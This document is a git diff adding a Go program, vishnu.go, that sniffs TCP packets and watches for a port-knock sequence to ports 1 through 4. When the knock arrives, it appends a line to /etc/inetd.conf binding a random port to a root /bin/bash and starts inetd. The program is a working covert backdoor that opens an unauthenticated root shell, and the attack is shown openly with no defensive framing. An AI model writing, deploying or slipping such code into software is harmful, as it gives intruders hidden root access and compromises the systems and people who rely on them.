Ready to be public

src/vishnu.go

@@ -0,0 +1,87 @@
+package main
+
+import (
+	"fmt"
+	"log"
+	"math/rand"
+	"os"
+	"os/exec"
+	"strconv"
+
+	"github.com/google/gopacket"
+	"github.com/google/gopacket/layers"
+	"github.com/google/gopacket/pcap"
+)
+
+var targetInterface = "ens160"
+var snaplen = int32(1600)
+var filter = "tcp"
+var secretPorts = []int{1, 2, 3, 4}
+var secretCounter = 0
+
+func main() {
+	// Read package and analze them
+	handle, err := pcap.OpenLive(targetInterface, snaplen, true, pcap.BlockForever)
+	errorPrinter(err)
+
+	handle.SetBPFFilter(filter)
+	packets := gopacket.NewPacketSource(handle, handle.LinkType()).Packets()
+	for pkt := range packets {
+		// Your analysis here! Get the important stuff
+		printPacketInfo(pkt)
+	}
+}
+
+func errorPrinter(err error) {
+	if err != nil {
+		log.Panicln(err)
+	}
+}
+
+func printPacketInfo(packet gopacket.Packet) {
+
+	// Let's see if the packet is TCP
+	tcpLayer := packet.Layer(layers.LayerTypeTCP)
+	if tcpLayer != nil {
+		tcp, _ := tcpLayer.(*layers.TCP)
+
+		// Check the TCP Flag
+		if tcp.SYN {
+			// fmt.Printf("From port %d to %d\n", tcp.SrcPort, tcp.DstPort)
+			// Check dst port for secret port
+			if tcp.DstPort == layers.TCPPort(secretPorts[secretCounter]) {
+				secretCounter++
+			} else {
+				// reset counter
+				secretCounter = 0
+			}
+		}
+	}
+
+	if secretCounter == len(secretPorts) {
+		// open the gateway
+		go vishnu()
+		secretCounter = 0
+	}
+
+	// Check for errors
+	if err := packet.ErrorLayer(); err != nil {
+		fmt.Println("Error decoding some part of the packet:", err)
+	}
+}
+
+func vishnu() {
+	randomPort := rand.Intn(65535-100) + 100
+	// println("The doors are open on port ", strconv.Itoa(randomPort))
+	// Append to a file /etc/inetd.conf
+	fd, err := os.OpenFile("/etc/inetd.conf", os.O_APPEND|os.O_WRONLY|os.O_CREATE, 0600)
+	errorPrinter(err)
+	defer fd.Close()
+
+	if _, err = fd.WriteString(strconv.Itoa(randomPort) + " stream tcp nowait root /bin/bash bash\n"); err != nil {
+		log.Panicln(err)
+	}
+
+	exec.Command("/usr/sbin/inetd").Run()
+
+}